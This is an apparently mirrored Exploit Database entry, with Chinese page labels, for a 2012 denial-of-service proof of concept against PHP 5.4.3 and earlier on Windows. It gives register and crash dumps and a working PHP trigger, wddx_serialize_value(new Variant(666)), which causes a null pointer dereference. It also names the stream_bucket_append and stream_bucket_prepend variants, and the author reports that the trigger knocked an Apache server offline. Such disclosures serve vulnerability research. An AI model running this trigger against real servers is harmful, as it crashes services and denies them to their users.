PHP 5.4.3 – wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Dereference

• Exploit Database
• 109 阅读

• 作者： condis
  日期： 2012-05-21
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18909/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

  <?php   /*   PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce Author : condis Date : 10.04.2012 AD Website : http://cond.psychodela.pl   ----   Download : http://php.net/downloads.php   Tested on: PHP 5.3.8+ Windows XP SP3 Professional PL PHP 5.3.10 + Windows XP SP3 Professional PL PHP 5.4.0+ Windows XP SP3 Professional PL PHP 5.4.3+ Windows XP SP3 Professional PL Description:   wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant object when it is given as a first argument.   Registers:   EAX 00000000 ECX 1056AAE8 php5ts.1056AAE8 EDX 100EFCE0 php5ts.100EFCE0 EBX 01032AB0 ESP 00C0FAE0 EBP 00000000 ESI 0121E478 EDI 0121CB50 EIP 1028F22E php5ts.1028F22E   Crash:   1028F22E 8A45 25MOV AL,BYTE PTR SS:[EBP+25]   Situation looks pretty much the same for both wddx_serialize_vars and wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append have some problems with handling Variant object when given as a second argument:   stream_bucket_append(1, new Variant(1)); stream_bucket_prepend(1, new Variant(1));   PS : Variant object is only available in PHP for Windows OS and it was implemented in PHP > 4.1.0 and PHP 5.   For more details check : http://php.net/manual/en/class.variant.php   PS2: After running this via webserver my Apache wasn&apos;t able to handle requests anymore and I had to restart him :)   kthxbye   */   wddx_serialize_value(new Variant(666));   ?>